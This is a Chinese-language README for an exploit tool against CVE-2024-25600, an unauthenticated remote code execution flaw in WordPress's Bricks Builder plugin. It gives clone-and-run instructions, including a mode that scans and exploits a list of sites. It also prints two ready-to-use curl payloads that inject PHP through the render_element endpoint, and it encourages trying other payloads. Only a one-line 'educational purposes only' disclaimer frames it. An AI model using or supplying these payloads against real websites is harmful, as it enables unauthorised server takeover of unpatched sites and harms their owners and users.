该工具 🛠️ 用于利用 WordPress 的 Bricks Builder 插件中存在的 CVE-2024-25600 漏洞 🕳️。该漏洞允许在受影响的网站 💻 上进行未认证的远程代码执行。该工具通过检索 nonce 并发送精心构造的请求来执行任意命令,从而自动化利用过程。
git clone 将此仓库克隆到您的本地机器 🖥️。pip install -r requirements.txt 安装所需的 Python 库。python exploit.py -u <URL> 运行该工具以启动交互模式。python exploit.py -l <file_path> 运行该工具以扫描并利用列出的网站。披露中提供的基础 PoC 如下:
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}'
更新:第二个 PoC(更可靠)
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "carousel",
"settings": {
"type": "posts",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}'
可能还有其他载荷能产生更好的效果。如果我的漏洞利用工具或概念验证对您无效,建议您尝试其他载荷以找到更有效的解决方案。
将 [HOST] 替换为目标网站,将 [NONCE] 替换为从网站获取的 nonce 值。
有关 CVE-2024-25600 漏洞的更多信息,请参阅 Snicco.io 上的详细披露。
本 README 中提供的信息仅供教育目的使用。未经授权入侵网站或网络是非法且不道德的。🚫
感谢发现并报告此漏洞的安全研究人员,他们为社区提供了信息和工具,帮助保护其 Web 应用程序。